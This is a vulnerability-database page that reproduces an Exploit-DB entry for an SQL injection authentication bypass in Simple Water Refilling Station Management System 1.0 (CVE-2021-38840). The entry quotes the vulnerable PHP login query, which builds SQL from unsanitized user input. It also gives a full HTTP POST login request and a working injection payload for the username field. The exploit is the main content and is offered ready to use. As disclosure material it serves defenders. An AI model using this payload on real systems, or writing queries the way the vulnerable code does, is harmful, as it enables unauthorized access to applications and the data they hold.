Lucene search
+L

Simple Water Refilling Station Management System 1.0 - Authentication Bypass

🗓️ 16 Aug 2021 00:00:00Reported by Matt SorrellType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 308 Views

Simple Water Refilling Station Management System Authentication Bypass SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-38840
7 Sep 202106:15
–attackerkb
circl
Circl
CVE-2021-38840
7 Sep 202112:17
–circl
cnnvd
CNNVD
Simple Water Refilling Station Management System SQL Injection Vulnerability
7 Sep 202100:00
–cnnvd
cnvd
CNVD
Simple Water Refilling Station Management System SQL注入漏洞
8 Sep 202100:00
–cnvd
checkpoint_advisories
Check Point Advisories
Simple Water Refilling Station Management System SQL Injection (CVE-2021-38840)
19 Oct 202100:00
–checkpoint_advisories
cve
CVE
CVE-2021-38840
7 Sep 202105:12
–cve
cvelist
Cvelist
CVE-2021-38840
7 Sep 202105:12
–cvelist
exploitdb
Exploit DB
Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) Through File Upload
16 Aug 202100:00
–exploitdb
euvd
EUVD
EUVD-2021-25277
7 Oct 202500:30
–euvd
kitploit
Kitploit
CVE-mitre
23 Nov 202623:55
–kitploit
Rows per page
# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass
# Exploit Author: Matt Sorrell
# Date: 2021-08-14
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
# Version: 1.0
# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System
# is vulnerable to a SQL Injection because it fails to sufficiently sanitize
# user-supplied data before using it in a SQL query.  Successful exploitation
# of this issue could allow an attacker to bypass the application's
# authentication controls and possibly access other sensitive data.

# Vulnerable Code: Line 21 in water_refilling/classes/Login.php

qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

# Vulnerable Request

POST /water_refilling/classes/Login.php?f=login HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 35
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/water_refilling/admin/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=64v67e3dctju48lon9d8gepct7


username=a&password=a


# Vulnerable Payload
# Parameter: username (POST)

username=a'+OR+1%3D1--+-&password=a

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.02569
308